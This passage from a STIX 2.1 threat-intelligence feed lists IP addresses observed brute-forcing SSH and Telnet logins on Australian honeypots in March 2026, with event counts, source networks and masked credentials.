      "valid_until": "2026-04-19T18:15:12.000Z"
    },
    {
      "created": "2026-03-18T18:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 1010. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 45903. Organisation(s): CMC Telecom Infrastructure Company. Usernames observed (masked): r**t, o****e, t**t, a***n, g****b. Passwords observed (masked): 1****6, a****3, ***, *, !******X.",
      "id": "indicator--138603ca-3c11-4a70-a4c9-9afd038a7a4e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T18:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '203.171.29.193']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T18:15:14.000Z",
      "valid_until": "2026-04-19T18:15:12.000Z"
    },
    {
      "created": "2026-03-18T18:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 160. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t, 3**********4, a***n, a******q, j****e. Passwords observed (masked): p******d, ***, 1***5, 1******8, 1********..",
      "id": "indicator--68447b95-4a47-4214-9107-cf38b94766b3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T18:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '57.151.89.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T18:15:14.000Z",
      "valid_until": "2026-04-19T18:15:12.000Z"
    },
    {
      "created": "2026-03-18T18:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 8359. Organisation(s): MTS PJSC.",
      "id": "indicator--3c5af62f-6296-4544-8a26-ed31b524a6bb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T18:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '94.243.14.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T18:15:14.000Z",
      "valid_until": "2026-04-19T18:15:12.000Z"
    },
    {
      "created": "2026-03-18T19:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 141. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CA. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, f*****r, a*****o, a**a, ***. Passwords observed (masked): 1***5, 1****6, 1******8, 1********0, 5**5.",
      "id": "indicator--06d7e3cd-d955-4d89-ad7a-7ad4a2d19816",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T19:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '147.182.153.89']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T19:15:14.000Z",
      "valid_until": "2026-04-19T19:15:11.000Z"
    },
    {
      "created": "2026-03-18T19:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--f450d3a4-b6a0-461d-9b9f-6902b1ca613f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T19:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '162.142.125.215']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T19:15:14.000Z",
      "valid_until": "2026-04-19T19:15:11.000Z"
    },
    {
      "created": "2026-03-18T19:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--0411850e-ac1d-4701-ae00-7ab0205445bd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T19:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '167.94.138.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T19:15:14.000Z",
      "valid_until": "2026-04-19T19:15:11.000Z"
    },
    {
      "created": "2026-03-18T19:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--bda30e76-4ca5-4ceb-b7f7-5cb849d384f3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T19:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '206.168.34.122']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T19:15:14.000Z",
      "valid_until": "2026-04-19T19:15:11.000Z"
    },
    {
      "created": "2026-03-18T20:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--001fdc86-acfc-4256-aadb-bf26823cf0a8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T20:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '122.97.212.199']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T20:15:14.000Z",
      "valid_until": "2026-04-19T20:15:12.000Z"
    },
    {
      "created": "2026-03-18T20:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: GB. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--d4d2d010-d546-4266-9634-71c46fecd6c8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T20:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '157.245.35.75']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T20:15:14.000Z",
      "valid_until": "2026-04-19T20:15:12.000Z"
    },
    {
      "created": "2026-03-18T20:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 56046. Organisation(s): China Mobile communications corporation.",
      "id": "indicator--b4a5098b-71e6-4c2a-a12e-ded59a005bbc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T20:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '183.212.237.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T20:15:14.000Z",
      "valid_until": "2026-04-19T20:15:12.000Z"
    },
    {
      "created": "2026-03-18T20:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CO. ASN(s): 272953. Organisation(s): HS NETWORKS SAS.",
      "id": "indicator--a34cccdd-d082-43e5-a9ce-9f337c20742a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T20:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '190.216.132.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T20:15:14.000Z",
      "valid_until": "2026-04-19T20:15:12.000Z"
    },
    {
      "created": "2026-03-18T20:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH. Usernames observed (masked): r**t. Passwords observed (masked): O**********5.",
      "id": "indicator--8662ea96-5d4b-42cd-bd0d-808fcf596868",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T20:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '194.163.151.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T20:15:14.000Z",
      "valid_until": "2026-04-19T20:15:12.000Z"
    },
    {
      "created": "2026-03-18T20:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--651f1ca9-f82b-44f1-aaf4-b51926d4d355",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T20:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '222.91.248.119']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T20:15:14.000Z",
      "valid_until": "2026-04-19T20:15:12.000Z"
    },
    {
      "created": "2026-03-18T21:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--7e938c52-855f-4e68-9a89-6e345f575cae",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T21:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '207.154.204.127']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T21:15:14.000Z",
      "valid_until": "2026-04-19T21:15:11.000Z"
    },
    {
      "created": "2026-03-18T22:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CO. ASN(s): 272953. Organisation(s): HS NETWORKS SAS.",
      "id": "indicator--b729056c-6009-40e7-a36d-fc289c1cc98c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T22:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.99.32.179']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T22:15:14.000Z",
      "valid_until": "2026-04-19T22:15:11.000Z"
    },
    {
      "created": "2026-03-18T22:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 24086. Organisation(s): Viettel Corporation. Usernames observed (masked): **. Passwords observed (masked): r*******y, r**********************1.",
      "id": "indicator--c66694d1-0cc3-44ba-bcf8-4449a9a3a720",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T22:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '116.105.173.160']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T22:15:14.000Z",
      "valid_until": "2026-04-19T22:15:11.000Z"
    },
    {
      "created": "2026-03-18T22:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MX. ASN(s): 136907. Organisation(s): HUAWEI CLOUDS. Usernames observed (masked): ***. Passwords observed (masked): I***********************X.",
      "id": "indicator--23649b7f-548e-4387-8311-743dedecfff9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T22:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '122.8.187.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T22:15:14.000Z",
      "valid_until": "2026-04-19T22:15:11.000Z"
    },
    {
      "created": "2026-03-18T22:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RO. ASN(s): 47890. Organisation(s): Unmanaged Ltd.",
      "id": "indicator--4112dcf2-16e0-4473-8ae6-db982d113002",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T22:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '2.57.121.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T22:15:14.000Z",
      "valid_until": "2026-04-19T22:15:11.000Z"
    },
    {
      "created": "2026-03-18T22:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: DE. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt).",
      "id": "indicator--73f0407e-9189-4fe7-b485-a3bcbf8999bd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T22:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.135.194.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T22:15:14.000Z",
      "valid_until": "2026-04-19T22:15:11.000Z"
    },
    {
      "created": "2026-03-18T22:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 89. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PT. ASN(s): 3243. Organisation(s): Servicos De Comunicacoes E Multimedia S.A.. Usernames observed (masked): n****s, 3**********4, e****d, s**d. Passwords observed (masked): 1******8, 3***********4, 3**********4, E********!, S*****3.",
      "id": "indicator--4de6387b-6010-44c2-880f-7a93c263c476",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T22:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '81.193.216.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T22:15:14.000Z",
      "valid_until": "2026-04-19T22:15:11.000Z"
    },
    {
      "created": "2026-03-18T23:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 36352. Organisation(s): HostPapa. Usernames observed (masked): e*****c. Passwords observed (masked): ***.",
      "id": "indicator--2f3c48fb-4f2c-49af-abf5-5d46dda8800b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T23:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '104.223.21.7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T23:15:14.000Z",
      "valid_until": "2026-04-19T23:15:12.000Z"
    },
    {
      "created": "2026-03-18T23:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): r**t.",
      "id": "indicator--b33aabd2-4b57-44b0-8552-7c34d5fbe241",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T23:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '168.144.22.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T23:15:14.000Z",
      "valid_until": "2026-04-19T23:15:12.000Z"
    },
    {
      "created": "2026-03-18T23:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--f2de1a75-bb98-44d0-8e1d-c3146ac6d6f7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T23:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.193']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T23:15:14.000Z",
      "valid_until": "2026-04-19T23:15:12.000Z"
    },
    {
      "created": "2026-03-18T23:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--472ae00a-ffeb-4d88-b48c-27a94109e905",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T23:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '42.227.203.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T23:15:14.000Z",
      "valid_until": "2026-04-19T23:15:12.000Z"
    },
    {
      "created": "2026-03-18T23:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--a7dfb969-a1b6-4906-80d8-4c898702c1d7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T23:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '59.126.177.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T23:15:14.000Z",
      "valid_until": "2026-04-19T23:15:12.000Z"
    },
    {
      "created": "2026-03-18T23:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--30e29f4a-3924-4d2f-8e35-75e948099395",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T23:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '60.208.18.149']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T23:15:14.000Z",
      "valid_until": "2026-04-19T23:15:12.000Z"
    },
    {
      "created": "2026-03-19T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone. Usernames observed (masked): r**t. Passwords observed (masked): d****n, u****u.",
      "id": "indicator--16967a94-e8eb-4cc3-884d-90dba1d00159",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '117.198.218.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T00:15:13.000Z",
      "valid_until": "2026-04-20T00:15:12.000Z"
    },
    {
      "created": "2026-03-19T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 202. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 19318. Organisation(s): Interserver, Inc. Usernames observed (masked): 3**********4, p***r, p******x, a*****r, a**s. Passwords observed (masked): ***, 1***5, 3***********4, 3**********4, 1****6.",
      "id": "indicator--f40fdf1b-1968-4ad5-8e6a-16f641d9bac5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '163.245.217.78']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T00:15:13.000Z",
      "valid_until": "2026-04-20T00:15:12.000Z"
    },
    {
      "created": "2026-03-19T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 7922. Organisation(s): Comcast Cable Communications, LLC. Usernames observed (masked): r**t. Passwords observed (masked): R******3.",
      "id": "indicator--7e39e7d8-7be5-4302-b250-9b3d6ff61a7c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '74.94.206.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T00:15:13.000Z",
      "valid_until": "2026-04-20T00:15:12.000Z"
    },
    {
      "created": "2026-03-19T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 63023. Organisation(s): GTHost. Usernames observed (masked): p***r, 3**********4, a*****r, a**s, e****d. Passwords observed (masked): ***, 1***5, 1****6, 3***********4, 3**********4.",
      "id": "indicator--2b6fdfac-d1c9-4f1c-8561-a320977cc97f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '82.22.21.41']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T00:15:13.000Z",
      "valid_until": "2026-04-20T00:15:12.000Z"
    },
    {
      "created": "2026-03-19T01:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--08acf91c-c26f-4c00-9b61-e389ac125046",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T01:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T01:15:14.000Z",
      "valid_until": "2026-04-20T01:15:12.000Z"
    },
    {
      "created": "2026-03-19T01:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 494. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CA. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, o****e, a***n, d****y, f******n. Passwords observed (masked): 1****6, 1**4, 1*****7, ***, 1*******3.",
      "id": "indicator--64d690aa-f4ca-4629-9729-370875a83bc8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T01:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '165.22.224.127']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T01:15:14.000Z",
      "valid_until": "2026-04-20T01:15:12.000Z"
    },
    {
      "created": "2026-03-19T01:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14618. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--1b4b5142-2fde-4399-8066-0492a03ec94d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T01:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '50.19.163.240']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T01:15:14.000Z",
      "valid_until": "2026-04-20T01:15:12.000Z"
    },
    {
      "created": "2026-03-19T02:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 38. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--c0ea40de-818a-49ca-8b44-3bb99c658dee",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T02:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.18.14.251']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T02:15:14.000Z",
      "valid_until": "2026-04-20T02:15:12.000Z"
    },
    {
      "created": "2026-03-19T02:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone.",
      "id": "indicator--456a7af4-6bb7-4798-a9c1-47ecb235e4d9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T02:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '117.247.253.81']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T02:15:14.000Z",
      "valid_until": "2026-04-20T02:15:12.000Z"
    },
    {
      "created": "2026-03-19T02:15:14.000Z",
